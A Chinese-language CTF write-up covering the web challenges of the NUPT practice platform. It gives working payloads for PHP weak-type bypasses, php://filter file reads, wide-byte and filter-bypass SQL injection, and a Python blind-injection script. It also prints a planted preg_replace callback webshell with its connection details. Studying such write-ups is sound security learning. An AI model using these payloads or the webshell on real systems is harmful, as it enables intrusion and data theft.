南邮CTf writeup(web部分)

Dec 13, 2017 09:54 · 779 words · 4 minute read PHP ctf python

南邮ctf平台的一些web题解,有几个不能做。

平台链接

小结

文件包含 变量覆盖 MYSQL PHP是世界上最好的语言 sql injection 4 综合题二


签到题

右键查看源代码即可

nctf{flag_admiaanaaaaaaaaaaa}

md5 collision

源码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

PHP md5hash比较缺陷

找一个MD5加密后是0e开头的值即可。

a=s878926199a
nctf{md5_collision_is_easy}

签到2

右键查看源代码,发现输入密码的登录框限制长度最大为10,

抓包提交即可。

nctf{follow_me_to_exploit}

这题不是WEB

确实不是web,将图片下载后用笔记本打开,翻到最底就可以看到flag

nctf{photo_can_also_hid3_msg}

层层递进

看了半天没点思路,抓包时发现返回的包状态码是304,了解了一下304状态码,然而并没有什么用。。。

然后继续看网页源代码。

<body>
<body style="overflow:auto;">
<iframe runat="server" src="SO.html" width="100%" height="237" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no" allowtransparency="yes"></iframe>
<iframe runat="server" src="http://www.lunzhiyu.com" width="100%" height="3800" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no" allowtransparency="yes"></iframe>


</body>

可以发现有俩src,下边的src是跳到一个公司的官网,上面那个src是另一个页面。然后在SO.html继续看源码,继续发现src,继续跳转,最后跳到404.html。然后查看源代码。有一段代码如下

<!-- Placed at the end of the document so the pages load faster -->
<!--  
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->

刚开始没注意,后来才看到jquery-后的字母竖着连起来就是flag。。。。。。

nctf{this_is_a_fl4g}

AAencode

百度知道AAencode是一种将js代码加密的方式。

解密办法:直接在控制台粘贴加密过的代码即可。网上也有专门的转换网站。

nctf{javascript_aaencode}

单身二十年

抓包到repeater下重发就能看到flag。

nctf{yougotit_script_now}

你从哪里来

打开页面看到are you from google? 于是就想到修改Referer,但是修改了好多次都没有看到flag,很奇怪。

到网上查writeup也都是修改Referer,很难受。

以后再看吧。

php decode

拿到源码放在本地把eval去掉运行,就出来flag了,

nctf{gzip_base64_hhhhhh}

文件包含

本身对文件包含就不太熟,这次又学会了新姿势。

这道题用到了使用php封装协议读取php文件最终的payload为

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

拿到的是经过base64加密的代码,拿去解密即可得到flag。

nctf{edulcni_elif_lacol_si_siht}

单身一百年也没用

抓包发包,看响应包。。。。。。。

 nctf{this_is_302_redirect}

Download~!

查看源代码可见下载的参数为url,而且下载的文件名经过base64编码。把download.php编码后添加到url参数,结果download.php下载成功,然后发现hereiskey.php,继续下载,得到flag.

nctf{download_any_file_666}

抓包修改cookie为1

nctf{cookie_is_different_from_session}

MYSQL

进去提示robots.txt(第一次知道robots.txt,记得还是大哥在的时候,哎..),然后访问得到提示


TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

intval函数是将变量转换为整型的函数,阅读代码可知道要传入一个id参数,又看到$_GET[id]不能等于1024,但是没有直接用$id不等于1024,所以猜想这个参数经过intval处理后等于1024,不处理不等于1024.

到这里之后去查看php手册,发现下面这段解释

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
2.  如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
3.  将使用 10 进制 (decimal)。 

于是想到传一个8进制(02000)或者16进制(0x400)的1024,然而没有反应。。

经测试后发现传入的参数被转换成了字符类型。。。

$a = $_GET[id]; //id=02000
var_dump($a);
输出:string(5) "02000" 

这个为什么会转换为字符型到网上没有找到。。。求大佬解。。

意外发现了这个,这个执行后输出的是true。

if ('01024'==1024) {
    echo true;
}else{
    echo false;
}

最后还是去看了writeup,结果是用小数解出了这个…我是真的菜。。。

nctf{query_in_mysql}

sql injection 3

根据提示可知是宽字节注入

payload

//爆表
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//爆列
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=%df'ctf4%df' --+  
//爆flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=4%df' union select 1,flag from ctf4 --+

在爆列的时候,很奇怪,payload在本地测试过没有问题的,但是就是会报错,又因为在id=3的时候提示flag在ctf4,于是猜想列是flag,于是直接爆出来。。

nctf{gbk_3sqli}

/x00

题目地址:题目有多种解法,你能想出来几种?

解法一

payload

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

提交一个数组进去,直接绕过所有的比较。

解法二

ereg函数存在00截断漏洞,就是在匹配到%00的时候就会结束。

payload

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=6%00%23biubiubiu

这里要将#换成%23,不然会浏览器会认为这是锚点,然后会丢掉#后的biubiubiu。在抓包看的时候确实丢掉了biubiubiu,所以在这里使用%23代替#。

目前就知道这两种。

nctf{use_00_to_jieduan}

bypass again

MD5哈希比较缺陷即0e开头的MD5字符串弱类型相等

payload

http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=s878926199a
nctf{php_is_so_cool}

变量覆盖

之前还没有见过这个洞,百度了一下原理,就是说在使用类似于使用extract这种函数时会造成将原有变量的值覆盖的情况。

extract函数

本函数用来将变量从数组中导入到当前的符号表中。 
就是将数组的键名变为变量名,将数组的值转化为变量的值。

举例代码:

<?php
$a = 1;
extract($_GET);

if ($a === $b) {
	echo "yes";
}else{
	echo 'no';
}
?>

如果我们构造payload;?a=yang&b=yang,这样的get传参在经过extract处理后,就会覆盖掉原有的$a的值,从而使输出yes。这就是变量覆盖漏洞。

nctf{bian_liang_fu_gai!}

PHP是世界上最好的语言

源码

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

可以看到其中有一个urldecode(),这是进行url解码的函数,又因为在浏览器往服务器传数据的时候会自动进行一次url解码,所以这道题是用双重url编码来做。 借此了解了一下url编码是怎么回事,url编码就是一个字符ascii码的16进制然后在前面在加上%,在进行二次url编码时,只是将第一次编码的值前的%进行url编码,后面数字不动。%URL编码后是%25。 下面以’h’为例:

h
第一次url编码 %68
第一次url编码 %2568

构造参数为%2568ackerDJ。

nctf{php_is_best_language}

伪装者

提示如下


* * * * * * * * * * * * * * * * * * * * * * * * * *

         管理系统只能在本地登陆

           本系统外部禁止访问

* * * * * * * * * * * * * * * * * * * * * * * * * *
不是本地登陆你还想要flag?

于是想到IP伪造添加 X-Forwarded-For:127.0.0.1

但是不出flag,想不出别的办法,到网上看writeup,都是这样做的。。我也很是无语。。。

抓包发包,flag就在返回包。

nctf{tips_often_hide_here}

上传绕过

00截断即可。

nctf{welcome_to_hacks_world}

SQL注入1

查看源码,构造payload如下

admin' ) #

结果

nctf{ni_ye_hui_sql?}

pass check

弱类型,传入pass[]=1

nctf{strcmp_is_n0t_3afe}

起名字真难

可以传入16进制的54975581388绕过

web12/index.php?key=0xccccccccc
nctf{follow_your_dream}

密码重置

抓包修改更改的用户名

http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg%3D%3D

由url可以发现有一个get传参,看似base64,解密后是ctfuser,所以这里也要修改为admin的base64的值。

nctf{reset_password_often_have_vuln}

sql injection 4

<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;

?>

构造参数

username=admin\&password= or 1=1 %23

最后的sql语句就是

SELECT * FROM users WHERE name='username=admin\' AND pass=' or 1=1 #sdasd';

因为代码使用htmlentities,所以不能使用单引号闭合语句。

nctf{sql_injection_is_interesting}

综合题

打开先看到的是一堆编码,百度知道是JSFuck编码,解码站(http://www.jsfuck.com/)

解码之后出现1bc29b36f623ba82aaf6724fd3b16718.php,然后访问提示

哈哈哈哈哈哈你上当啦,这里什么都没有,TIP在我脑袋里

抓包看到 tip:history of bash

百度知道linux会有一个.bash_history文件用来保存用户使用过的命令,接着访问这个文件,得到提示

zip -r flagbak.zip ./*

再接着访问这个压缩包,下载后解压就得到flag

nctf{bash_history_means_what}

SQL注入2

查看源码,万能密码

username = 1' union select "c4ca4238a0b923820dcc509a6f75849b" #
password = 1
ntcf{union_select_is_wtf}

综合题二

打开看到是一个留言板,最下面有一个’本cms说明’的超链接,点进去之后可以发现几个网站的文件

config.php
index.php
passencode.php
say.php
sm.txt
create table admin ( id integer, username text, userpass text, )

然后看到这个说明用了文件包含

http://cms.nuptzj.cn/about.php?file=sm.txt

于是想尝试包含刚刚的几个文件,试了一下,除了config.php剩下的都读出来了。这里用了phpphp伪协议读取文件(出来的格式好看)

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php

index.php的部分代码

	include 'antixss.php';
	include 'config.php';
	
<form method="post" action="./so.php">
	   留言搜索(输入ID):
	 <input name="soid" type="text" id="soid" />
	 <input type="submit"  value="搜索"/>
</form>

在这里又发现了antixss.php和so.php,继续包含文件。

antixss.php是一个过滤xss的代码,没有什么用。

继续看so.php代码,发现antiinject.php,继续包含

antiinject.php是一个过滤SQL语句关键字的函数,细看发现单词混写可以绕过。

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

so.php代码如下

<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);  //单词混写可绕过
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");  //这是一个整型注入,转义并没有什么卵用。。。。
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

就是在so.php发现了注入点,用burpsuite测试后,发现这个只能盲注,脚本如下

#coding=utf-8
import requests
import re
def bool(mid,asc):
	url = 'http://cms.nuptzj.cn/so.php'
	header = {
	'User-Agent': 'Xlcteam Browser',
	}
	data = {'soid': '1/**/anandd/**/ascii(mid((seselectlect/**/group_concat(userpapassss)/**/frfromom/**/admiadminn),'+str(mid)+',1))>'+str(asc)+''}
	r = requests.post(url,headers=header,data=data)
	if len(r.content.decode('utf-8'))>500:
		return 1	#sucess
	else:
		return 0	#fail
answer = ''	
for mid in xrange(1,37):
	min1=1
	max1=256
	while 1:
		middle=(min1+max1)/2
		if bool(mid,middle)==1:  
			min1=middle
		if bool(mid,middle)==0:  
			max1=middle
		if max1-min1==1:
			answer = answer + chr(max1)
			print answer
			break

写完在实验室跑脚本,只能跑一部分,就报错了。一直以为脚本有问题,回到宿舍就直接全爆出来了。。。。

跑出来的结果

102 117 99 107 114 117 110 116 117

拿去ascii解码后是 fuckruntu,用户名爆出的是admin。用户名和密码都拿到了,可是没有找到后台。。看了writeup才知道后台的提示在about.php。。。

about.php代码


<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

loginxlcteam就是后台地址,登录进去提示留有小马 xlcteam.php,继续包含

<?php
$_POST['wtf'] = 'aa'
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这个木马看不懂,看了几篇文章才知道这是回调后门 http://static.hx99.net/static/drops/tips-7279.html

菜刀连接

地址:http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
密码:wtf
flag:nctf{you_are_s0_g00d_hacker}
tweet Share